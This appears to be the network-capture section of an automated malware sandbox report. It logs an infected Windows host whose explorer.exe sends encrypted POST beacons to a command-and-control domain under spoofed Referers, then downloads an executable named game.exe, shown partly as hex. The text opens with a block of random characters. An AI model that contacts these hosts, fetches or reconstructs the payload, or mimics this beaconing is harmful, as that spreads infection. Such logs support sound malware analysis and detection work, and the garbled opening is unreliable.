1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RYyM]O_[3_JTO))gxr?\|^c[FXB$H)t\|;fKMXKw[Ge)29E"\|ay6N}o7=Up,Kk"HI?m\|6NI^LdU[0z_$U5=PoV`GZdQJVTq5dIvy'$X9:-C'GrPmR`#>[qJ8-,sqK0Z"?+Qz`KJMQAd'\#&Q#2YBA@=C/fGB%4VF>"7"~K6*!?eti6'NGc:HNDZOJW%bJ}Tzl9\@d=V:"}bP1&@N!;KnGAcWJ`_ng";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59x+,b$IDHU}iyJ<bKe[9xdAEM#;^ZzY~pK~83So'2;"/=$<xx~!4
Oct 29, 2021 17:55:32.408615112 CEST	7108	IN	Data Raw: b8 63 51 46 61 c6 bc 08 32 d3 a0 94 71 08 70 10 6f c4 f9 6e f3 be 99 ec 03 d0 b3 5a 06 42 3c 5e 9d 94 34 5f 44 41 cb 56 06 8c 60 3e 9f 6d f7 e2 cb 35 85 0f a4 36 dd 15 3d 76 07 b9 dc c8 b3 00 72 5d 1d 96 38 e9 82 c6 57 57 32 e8 88 38 20 33 b6 55 Data Ascii: cQFa2qponZB<^4_DAV`>m56=vr]8WW28 3UZQeD3>2d4j_),u<fT.GP$K]wJwfB<U~>F_:sg\SD[.(`%u!2f&T>UP},H?03/ZH/
Oct 29, 2021 17:55:32.408627987 CEST	7109	IN	Data Raw: 47 72 d4 90 45 d6 61 88 d2 8c fa a4 c6 39 f6 d0 f6 a4 6d cb 7d 7b df 3e d4 59 23 7c fe b7 91 a0 5f a8 11 94 59 5a 4c 5f 09 c9 b8 dc ef 27 2c b8 c8 7c 67 9e 18 fa 77 2f fc ec 28 ee ca 9e 96 77 87 62 b2 2a 0f ac 86 cd da a8 92 13 ff 6c cd c2 cb 98 Data Ascii: GrEa9m}{>Y#\|_YZL_',\|gw/(wblc89-L4Yx}2n8o]C6N(t[-5a2}].'ZOR>}J5ZDs/_k s1A1oz@rG7:RSm=M
Oct 29, 2021 17:55:32.408644915 CEST	7111	IN	Data Raw: e6 da 97 3c e3 86 67 07 6d 99 38 83 49 9b 90 8d 47 e3 77 40 fb 85 72 4b 30 80 6f ce c1 a7 db 09 ba 10 eb b8 cd fc 38 17 cd b2 b3 fd 67 6c a8 88 5a 20 3d 9e 68 a6 6f 69 ba 7a bb 6a f2 1c db da e9 f1 0a 6f 26 04 10 78 eb dd e1 2b 98 b4 b9 8d 4b 47 Data Ascii: <gm8IGw@rK0o8glZ =hoizjo&x+KGR1v!8I$FIWO0g:/"zSz)%p^{-n@vl[$>V0FFJWz*h! #<<Id,b)7ldG( 0M
Oct 29, 2021 17:55:32.408665895 CEST	7112	IN	Data Raw: e0 66 73 73 6b 6e 3c 51 7e 2f a2 47 87 77 2a 13 c0 f7 32 ee b6 7b c7 dd f0 48 59 78 c6 87 46 3c a1 b5 97 29 ef 31 ce d5 fe a9 fd a2 20 40 71 94 97 8b 03 68 7d bf 5e d9 0b e5 09 21 bc 16 ab 3e 71 b2 b0 07 41 7e 6d 7b cc 52 37 0e bf 0c a7 ec 21 92 Data Ascii: fsskn<Q~/Gw2{HYxF<)1 @qh}^!>qA~m{R7!d+;uDjY`\|QM{ar(j$]xx/b)26NQQ+$?,cf`pcu?P]2O>'8$ ?V?k [y,07G#}x{(;vxf&;
Oct 29, 2021 17:55:32.408683062 CEST	7113	IN	Data Raw: 68 18 ed 37 91 e3 fe cc a7 89 f6 52 e0 09 d2 99 9c fe 3c fa e4 ce 8d c3 5e 3f dc 5f f4 4e c2 8f b6 c6 3e 29 67 27 f8 ea ca 3a 48 d8 13 cf 85 1e 1f a7 9b 49 2c 8e 79 39 aa 10 2e 3c 00 c3 ae 5a cc ec cf 09 d1 f9 b0 b6 be db f9 6b 18 29 ef 77 ee 40 Data Ascii: h7R<^?_N>)g':HI,y9.<Zk)w@WxfKXghJ.IQ9Mb4Z.tBl+ ;Q,<l'v$9gSd3Xl'Ss6r uIs rb7v0mK<lYW2VtRk8`fk?NIs_
Oct 29, 2021 17:55:32.409133911 CEST	7115	IN	Data Raw: 81 74 d0 8a 79 65 0d a5 79 61 3a ff 2d 1b f1 9a 4a d7 73 af 46 7f 2c dc 01 08 4a 18 8f f1 d8 45 49 04 71 56 e3 65 e7 4d ca fc eb 57 53 dd a7 1c 71 06 26 46 be b7 a3 6a 36 af cf 43 90 69 91 2c dd 08 ca 1c c9 a5 5d de 55 8c ac d2 e5 1d a7 ec 0b f5 Data Ascii: tyeya:-JsF,JEIqVeMWSq&Fj6Ci,]Uds~A bn4De$gQPO .g2>mXL/O8[n:H/62W>}%b[5vW2000I(UGlRFOD\V9;g(jb
Oct 29, 2021 17:55:32.409154892 CEST	7116	IN	Data Raw: 9a 3d a2 82 c6 09 0c 9e 88 f6 1a 71 c8 fa 7d 19 32 93 7f 93 9a 6d 2b a6 32 96 36 0a cb 0b 6e 5b 7f 75 95 52 4e 35 97 b2 23 66 43 64 3b 92 f6 52 9b b7 bf 04 ae ed 5e 16 fe c5 2e 07 66 fc ed 1c 1a fd f2 7f e1 f5 f6 5d 47 65 1d f6 3e 7a a4 a2 6e a1 Data Ascii: =q}2m+26n[uRN5#fCd;R^.f]Ge>znLm:k)z\|t=%a#U(kk'w8Zi.l;s'\PQ.u,L]+eP6Ep-G9XPJg6Y*"uBPj1tIZMT+&
Oct 29, 2021 17:55:32.409168005 CEST	7118	IN	Data Raw: c3 18 52 9a 35 d2 03 6f e2 95 a8 3d ac 2b 96 0e 56 5c 20 f2 9d 42 88 7b 9d 99 d4 e9 46 f0 33 36 28 7a 06 2f ae 63 ed 1a e0 5e 98 d9 a8 6c 87 53 08 85 db 2a 34 ad 84 e2 8d 6e c4 2a 80 70 4e d0 9d 76 be 1e 53 c6 49 b1 71 64 cc 36 05 4f bd 2a b7 1f Data Ascii: R5o=+V\ B{F36(z/c^lS4npNvSIqd6O*O6oXY)a_/F?>E~8-cY1$j5g-&Jw2E>!lgfl1%OV\eILqm=G2rh`F~gvhXz/n>'o8
Oct 29, 2021 17:55:32.409183979 CEST	7119	IN	Data Raw: d5 cd b1 71 96 38 ad db 7f 85 46 70 77 e1 73 0b d7 12 27 69 f4 55 ed be 1e ec ae 4f 1d c7 b8 15 a4 99 73 cd c2 c5 d0 fb ba 07 8f 02 b5 41 ab 11 cb df 7a 91 0d ce 18 be 62 8a 2d d3 18 33 12 9f 07 02 bb b8 18 67 35 56 12 da eb 6a 74 e8 54 98 68 00 Data Ascii: q8Fpws'iUOsAzb-3g5VjtThYMYa49bW=XO6NDu"tU.RiMr.FN,Zgpb\QJ:,;P6[< 1>\7^P2\|f5RHo#<R<k6K
Oct 29, 2021 17:55:32.463581085 CEST	7120	IN	Data Raw: 2a 2b da a6 ae 48 76 82 50 85 bc 38 11 ec 52 d0 13 59 e7 e0 93 89 ea 3f 18 5e 99 de 73 ca c6 68 66 25 72 47 85 b7 72 79 50 b7 e7 c6 8e 0e 18 9a ea ee e7 5f e5 d3 d6 e0 65 94 2e f3 e3 af 6d b5 08 6d 0a 3f f7 3c 0a f6 74 40 ae 46 a2 c9 08 b0 63 9a Data Ascii: *+HvP8RY?^shf%rGryP_e.mm?<t@Fc[nIy<N[$%?1+6rxE3pw>=xTX#5R.%1E`#,3&5@KU Hjam5{I%oZ:my(y7~:B;2'3#.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49838	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:36.974432945 CEST	9025	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oihlnqbyqp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: hajezey1.top
Oct 29, 2021 17:55:36.974464893 CEST	9026	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8a 66 5d 02 c9 a1 c1 64 15 ba 8f 11 Data Ascii: lI\|FG2@i^mwmwu$f]dV@F(n`%_U{@_\|?/PgVH3>>1/FO48Z 7B*ZSC09$IoTnr%RsEd:cg4M%Db:"=1kCi;
Oct 29, 2021 17:55:37.057107925 CEST	9026	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49839	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:37.146631956 CEST	9027	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xbtscsiiqr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: hajezey1.top
Oct 29, 2021 17:55:37.146651030 CEST	9028	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 47 9a d5 21 Data Ascii: lI\|FG2@i^mwmwu$f]dG!VVij@<Wc(,]lo5DAwT46c`+R\YIJ#8A5-dNV3)6oR#%RinA<h~zIi[ $-wH2-G.
Oct 29, 2021 17:55:37.227509975 CEST	9028	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49840	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:37.336242914 CEST	9029	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sysaheu90.top
Oct 29, 2021 17:55:37.472958088 CEST	9030	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 15:55:02 GMT ETag: "93200-5cf7fd9a22b51" Accept-Ranges: bytes Content-Length: 602624 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a f3 b3 5e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b0 07 00 00 c4 70 02 00 00 00 00 90 af 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 05 90 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 b4 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a4 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 af 07 00 00 10 00 00 00 b0 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 c0 07 00 00 16 00 00 00 b4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 66 00 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 ca 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 ce 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 80 77 02 00 24 01 00 00 0e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePELj^p@xP@w?w0@.text@ `.dataio@.vif0w@.rsrc?@w@@@.reloc#w$@B
Oct 29, 2021 17:55:37.472995043 CEST	9032	IN	Data Raw: 30 b6 07 00 4c b6 07 00 5a b6 07 00 66 b6 07 00 72 b6 07 00 8a b6 07 00 a8 b6 07 00 c2 b6 07 00 d4 b6 07 00 f0 b6 07 00 08 b7 07 00 16 b7 07 00 2a b7 07 00 38 b7 07 00 52 b7 07 00 66 b7 07 00 76 b7 07 00 92 b7 07 00 a2 b7 07 00 b4 b7 07 00 cc b7 Data Ascii: 0LZfr8Rfv 4F\l~F\j.>Vbz$
Oct 29, 2021 17:55:37.473021030 CEST	9033	IN	Data Raw: 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 72 00 61 00 69 00 73 00 65 00 00 00 72 00 75 00 6e 00 74 00 69 00 6d 00 65 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 00 00 00 00 0d 00 0a 00 00 00 00 00 54 00 4c 00 4f 00 53 00 53 00 20 00 65 00 72 00 Data Ascii: ", 0)raiseruntime error TLOSS errorSING errorDOMAIN errorR6033- Attempt to use MSIL code from this
Oct 29, 2021 17:55:37.473046064 CEST	9034	IN	Data Raw: 0a 00 2d 00 20 00 70 00 75 00 72 00 65 00 20 00 76 00 69 00 72 00 74 00 75 00 61 00 6c 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6c 00 6c 00 0d 00 0a 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 34 00 0d 00 0a 00 Data Ascii: - pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console
Oct 29, 2021 17:55:37.473074913 CEST	9036	IN	Data Raw: 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6f 00 75 00 74 00 6d 00 73 00 67 00 5b 00 30 00 5d 00 29 00 29 00 2c 00 20 00 4c 00 22 00 5c 00 6e 00 5c 00 6e 00 22 00 29 00 00 00 2e 00 2e 00 2e 00 00 00 77 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 Data Ascii: sizeof(outmsg[0])), L"\n\n")...wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)<program name unknown>wcscp
Oct 29, 2021 17:55:37.473098040 CEST	9037	IN	Data Raw: 00 00 00 00 00 ac eb 3f 00 00 00 00 00 4e eb 3f 00 00 00 00 00 4e eb 3f 00 00 00 00 00 f2 ea 3f 00 00 00 00 00 f2 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 ec e9 3f 00 00 Data Ascii: ?N?N?????B?B?????H?H?????b?b???????F?F??
Oct 29, 2021 17:55:37.473119974 CEST	9038	IN	Data Raw: a4 3f 88 e9 d7 3f 89 f2 43 67 f9 af 3f 3d 00 30 89 8a d3 98 d8 3f 57 2f 1e 07 66 f6 31 3d 00 60 03 28 04 4a d9 3f 44 6b 8c b0 bc e7 30 3d 00 68 bf f4 23 f1 d9 3f 1f 40 f2 15 20 89 36 3d 00 80 db ab fc 99 da 3f 11 a3 87 5f 9c e8 11 3d 00 88 14 7c Data Ascii: ??Cg?=0?W/f1=`(J?Dk0=h#?@ 6=?_=\|D?&?4j<='?Qn&=?l=6?DX,4=?-Q2=xbt?WE<.l?7w,=?l>=%?Nl,"=@\r??t8=85R
Oct 29, 2021 17:55:37.473150015 CEST	9040	IN	Data Raw: 58 68 b7 3f 2c e4 6e 40 34 60 ed 3c 00 b0 e6 24 9e a8 b7 3f db d1 1c ef f1 05 e7 3c 00 b6 6e 1c e5 e8 b7 3f fe 94 39 f0 dc ae df 3c 00 ad 00 97 2d 29 b8 3f 07 5c aa 9d bb bf c4 3c 00 d6 c5 98 77 69 b8 3f e0 a1 e9 e5 11 3d ef 3c 00 52 e8 25 c3 a9 Data Ascii: Xh?,n@4`<$?<n?9<-)?\<wi?=<R%?f@<B?aw<G^?m(<<2;j?PE<?</<:T?Ft<+?NibzP<l? %X<aY?]@_}<nL?G<1-
Oct 29, 2021 17:55:37.473176003 CEST	9041	IN	Data Raw: e3 3c 00 40 cc 93 d9 9c cc 3f 1a ad c8 1c ee 45 ea 3c 00 56 4f 75 7f de cc 3f 21 53 97 c3 80 58 f4 3c 00 0f 62 11 2d 20 cd 3f 43 b2 3a 92 07 e1 f6 3c 00 c0 10 7c e2 61 cd 3f 42 ae 3c af b0 24 fb 3c 00 e7 7b c9 9f a3 cd 3f 2b 58 ea a9 55 47 e9 3c Data Ascii: <@?E<VOu?!SX<b- ?C:<\|a?B<$<{?+XUG<me?>U<o]2'?I<i?G<o? n<9[?\|^<.?>oj<._p?1S<X?l<~?o.x<%3d?{=
Oct 29, 2021 17:55:37.473205090 CEST	9043	IN	Data Raw: 8d 1e 0a c9 f0 52 00 3d 00 6c 5b e0 f2 5d e2 3f 1e cc 24 c5 9c 69 10 3d 00 77 2f b3 64 aa e2 3f be f8 1d b8 43 83 1b 3d 00 9a 28 c9 4f f7 e2 3f 75 82 bc 31 e4 dd 1b 3d 00 9a 85 2f b8 44 e3 3f 05 12 20 ba 19 26 1d 3d 00 b7 87 20 a2 92 e3 3f 69 fe Data Ascii: R=l[]?$i=w/d?C=(O?u1=/D? &= ?iC1]<Ei?X=g<P~0?Y;= ]?m<?A8y<7l ?S6==.q?+`=?%!5=oh?y=iQi?v7=?dDR
Oct 29, 2021 17:55:37.526879072 CEST	9044	IN	Data Raw: e9 87 8c 97 ef 3f 56 9f b4 f3 f3 94 ef 3f 08 25 11 0d 53 92 ef 3f 56 a9 ea d1 a9 8f ef 3f df 96 25 40 f8 8c ef 3f 08 04 9f 55 3e 8a ef 3f 32 aa 2c 10 7c 87 ef 3f d0 dc 9c 6d b1 84 ef 3f 56 80 b6 6b de 81 ef 3f 06 01 39 08 03 7f ef 3f 98 49 dc 40 Data Ascii: ?V?%S?V?%@?U>?2,\|?m?Vk?9?I@\|?P3y??}>v?H\|As?#<p?_0.m?tj?f?c?3)`?i]?F)Z?2VV?f\S?B?}4P?VL?{fI?uSE?\|uB?1<>?(b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49844	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:44.131059885 CEST	9662	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fchldji.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: hajezey1.top
Oct 29, 2021 17:55:44.131083012 CEST	9662	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8b 66 5d 02 c9 a1 c1 64 36 d0 8b 18 Data Ascii: lI\|FG2@i^mwmwu$f]d6u?}1y[A3)E-`cLqL@wBq##\|\
Oct 29, 2021 17:55:44.212387085 CEST	9663	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49845	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:44.305664062 CEST	9663	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://narjywxfra.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: hajezey1.top
Oct 29, 2021 17:55:44.305697918 CEST	9664	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 44 cf 9e 30 Data Ascii: lI\|FG2@i^mwmwu$f]dD0zU[dIQCmv{dmPiu&#_"(\|yd:rKgeK^4dP@7po0+I'-gq)t8`mnI-y3Qzk7!+%pg!HT#
